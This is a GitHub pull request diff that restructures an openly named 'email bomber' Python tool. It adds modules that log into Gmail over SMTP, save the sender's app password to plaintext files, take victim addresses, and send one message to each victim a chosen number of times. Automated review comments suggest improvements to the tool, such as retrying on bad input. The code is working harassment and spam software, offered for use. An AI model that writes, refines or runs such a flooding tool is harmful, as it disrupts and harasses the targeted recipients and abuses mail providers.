-
Notifications
You must be signed in to change notification settings - Fork 21
Ngawa tafe/issue18 #25
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from all commits
834b487
48aee51
ffc19f2
78503e7
9c8e88b
fa01bd8
e264cff
a292795
e07b588
c0b7879
fdcfae2
497ff9d
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
.idea/ | ||
User_Credentials/ | ||
__pycache__ |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,6 +1,8 @@ | ||
FROM python:3.10.12-alpine | ||
RUN apk update | ||
WORKDIR /emailbomber | ||
COPY emailbomber.py emailbomber.py | ||
|
||
COPY src/ ./src/ | ||
COPY main.py . | ||
COPY ./Welcome/welcome.txt ./Welcome/welcome.txt | ||
CMD "python" "emailbomber.py" | ||
CMD ["python", "main.py"] |
This file was deleted.
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
from src.emailbomber import email_bomber | ||
|
||
|
||
def main(): | ||
email_bomber() | ||
|
||
|
||
if __name__ == "__main__": | ||
main() |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
import smtplib | ||
|
||
|
||
def login_to_smtp(server, sender, app_password): | ||
""" | ||
logs into the SMTP server. | ||
Returns: | ||
smtplib.SMTP: authenticated SMTP server object | ||
""" | ||
try: | ||
server.login(sender, app_password) | ||
except smtplib.SMTPAuthenticationError as e: | ||
raise smtplib.SMTPAuthenticationError(e.smtp_code,"Login failed: Check your email or app password.") from e | ||
return server |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
import getpass | ||
import os.path | ||
from os import path, mkdir | ||
|
||
CREDENTIALS_DIR = "User_Credentials" | ||
|
||
|
||
def get_credentials(dir_name=CREDENTIALS_DIR): | ||
""" | ||
Loads sender email and app password from file if exists, | ||
otherwise prompts the user to input and saves them. | ||
Returns: | ||
tuple: sender_email, app_password | ||
""" | ||
parent_dir = os.path.abspath(os.getcwd()) | ||
file_path = os.path.join(parent_dir, dir_name) | ||
if not path.exists(file_path): | ||
sender = input("Enter your Gmail address ([email protected]): ") | ||
app_password = getpass.getpass("Enter your app password (xxxx xxxx xxxx xxxx): ") | ||
else: | ||
with open(f"{file_path}/sender.txt", "r") as sender_file: | ||
sender = sender_file.read() | ||
with open(f"{file_path}/app_password.txt", "r") as password_file: | ||
app_password = password_file.read() | ||
print("\nCredentials Loaded successfully.") | ||
|
||
return sender, app_password | ||
|
||
|
||
def save_credentials(sender, app_password, dir_name=CREDENTIALS_DIR): | ||
""" | ||
Saves sender email and app password into file if exists. | ||
Create a file if it doesn't exist. | ||
:param sender: email address | ||
:param app_password: app password | ||
:param dir_name: directory to save credentials | ||
:return: None | ||
""" | ||
parent_dir = os.path.abspath(os.getcwd()) | ||
file_path = os.path.join(parent_dir, dir_name) | ||
try: | ||
if not path.exists(file_path): | ||
mkdir(file_path) | ||
with open(f"{file_path}/sender.txt", "w") as sender_file: | ||
sender_file.write(sender) | ||
with open(f"{file_path}/app_password.txt", "w") as password_file: | ||
password_file.write(app_password) | ||
print("\nCredentials saved successfully.") | ||
except OSError as e: | ||
raise OSError(f"Error saving credentials: {e}") |
Original file line number | Diff line number | Diff line change | ||||||
---|---|---|---|---|---|---|---|---|
@@ -0,0 +1,55 @@ | ||||||||
import smtplib | ||||||||
from email.message import EmailMessage | ||||||||
|
||||||||
|
||||||||
def get_email_details(): | ||||||||
""" | ||||||||
Prompts the user for recipients, subject, message, and count. | ||||||||
Returns: | ||||||||
tuple: recipients, subject, message_body, email_count | ||||||||
""" | ||||||||
print( | ||||||||
"If you would like to spam more than one email, separate the emails by commas ([email protected], [email protected], [email protected])\n") | ||||||||
recipients = input( | ||||||||
"Specify the email(s) you would like to email-bomb (comma-separated) -> " | ||||||||
).replace(" ", "").split(",") | ||||||||
subject = input("Enter the email subject: ") | ||||||||
msg = input("Enter the email message: ") | ||||||||
|
||||||||
while True: | ||||||||
try: | ||||||||
count = int(input("Enter the number of times to send each email: ")) | ||||||||
if count <= 0: | ||||||||
raise ValueError("Count must be positive.") | ||||||||
break | ||||||||
except ValueError as e: | ||||||||
raise ValueError(f"Invalid input: {e}") | ||||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This except block re-raises a ValueError on invalid count input, exiting instead of re-prompting; consider printing the error and using 'continue' to allow the user to retry.
Suggested change
Copilot uses AI. Check for mistakes. Positive FeedbackNegative Feedback |
||||||||
|
||||||||
return recipients, subject, msg, count | ||||||||
|
||||||||
|
||||||||
def create_email(subject, body): | ||||||||
""" | ||||||||
Creates an EmailMessage object. | ||||||||
Returns: | ||||||||
EmailMessage: the constructed message | ||||||||
""" | ||||||||
msg = EmailMessage() | ||||||||
msg["Subject"] = subject | ||||||||
msg.set_content(body, subtype="plain", charset="us-ascii") | ||||||||
return msg | ||||||||
|
||||||||
|
||||||||
def send_bulk_emails(server, sender, recipients, msg, count): | ||||||||
""" | ||||||||
Sends emails using the authenticated SMTP server. | ||||||||
""" | ||||||||
print("\nSending emails...\n") | ||||||||
for _ in range(count): | ||||||||
for recipient in recipients: | ||||||||
try: | ||||||||
print(f"Sending to {recipient}...") | ||||||||
server.sendmail(sender, recipient, msg.as_string()) | ||||||||
print("Sent successfully!") | ||||||||
except smtplib.SMTPException as e: | ||||||||
raise smtplib.SMTPException(f"Failed to send to {recipient}: {e}") |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
import smtplib | ||
from src.server import get_server | ||
from src.load_welcome import display_welcome | ||
from src.authentication import login_to_smtp | ||
from src.crendentials import get_credentials, save_credentials | ||
from src.e_mail import get_email_details, create_email, send_bulk_emails | ||
|
||
|
||
def email_bomber(): | ||
display_welcome() | ||
sender, app_password = get_credentials() | ||
|
||
server = None | ||
try: | ||
server = get_server() | ||
if server: | ||
server = login_to_smtp(server, sender, app_password) | ||
save_credentials(sender, app_password) | ||
recipients, subject, body, count = get_email_details() | ||
msg = create_email(subject, body) | ||
send_bulk_emails(server, sender, recipients, msg, count) | ||
print("Email Bombing process completed successfully.") | ||
except smtplib.SMTPConnectError as e: | ||
print(f"SMTP Connect error: {e}") | ||
except smtplib.SMTPAuthenticationError as e: | ||
print(f"SMTP authentication error: {e}") | ||
except ValueError as e: | ||
print(f"ValueError: {e}") | ||
except smtplib.SMTPException as e: | ||
print(f"SMTP error: {e}") | ||
except Exception as e: | ||
print(f"Unknown error: {e}") | ||
finally: | ||
if server: | ||
server.close() | ||
print("\nDisconnected from SMTP server.") | ||
print("Email Bomber closing...") | ||
else: | ||
print("\nEmail process aborted due to connection/login failure.") |
Original file line number | Diff line number | Diff line change | ||||
---|---|---|---|---|---|---|
@@ -0,0 +1,14 @@ | ||||||
import os | ||||||
|
||||||
WELCOME_FILE = r"Welcome/welcome.txt" | ||||||
|
||||||
|
||||||
def display_welcome(filepath=WELCOME_FILE): | ||||||
"""Displays the welcome message from a file.""" | ||||||
parent_dir = os.path.abspath(os.getcwd()) | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Resolving the welcome file relative to the current working directory may break if run elsewhere; consider using 'os.path.dirname(file)' or pathlib to reference the module's directory.
Suggested change
Copilot uses AI. Check for mistakes. Positive FeedbackNegative Feedback |
||||||
filepath = os.path.join(parent_dir, filepath) | ||||||
try: | ||||||
with open(filepath, encoding="utf-8") as file: | ||||||
print(f"{file.read()}\n\n") | ||||||
except FileNotFoundError: | ||||||
raise FileNotFoundError("Welcome file not found.") |
Original file line number | Diff line number | Diff line change | ||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
@@ -0,0 +1,13 @@ | ||||||||||||||
import smtplib | ||||||||||||||
|
||||||||||||||
SMTP_SERVER = "smtp.gmail.com" | ||||||||||||||
SMTP_PORT = 587 | ||||||||||||||
|
||||||||||||||
|
||||||||||||||
def get_server(smtp_server=SMTP_SERVER, smtp_port=SMTP_PORT): | ||||||||||||||
try: | ||||||||||||||
server = smtplib.SMTP(smtp_server, smtp_port) | ||||||||||||||
server.starttls() | ||||||||||||||
Comment on lines
+9
to
+10
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. [nitpick] It’s recommended to call 'server.ehlo()' before and after 'starttls()' to ensure proper SMTP handshake and compliance with server requirements.
Suggested change
Copilot uses AI. Check for mistakes. Positive FeedbackNegative Feedback |
||||||||||||||
except smtplib.SMTPConnectError as e: | ||||||||||||||
raise smtplib.SMTPConnectError(e.smtp_code, f"Connection failed: {e}") | ||||||||||||||
return server |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Storing application passwords in plaintext poses a security risk; consider using an OS keyring or encrypting the credentials on disk.
Copilot uses AI. Check for mistakes.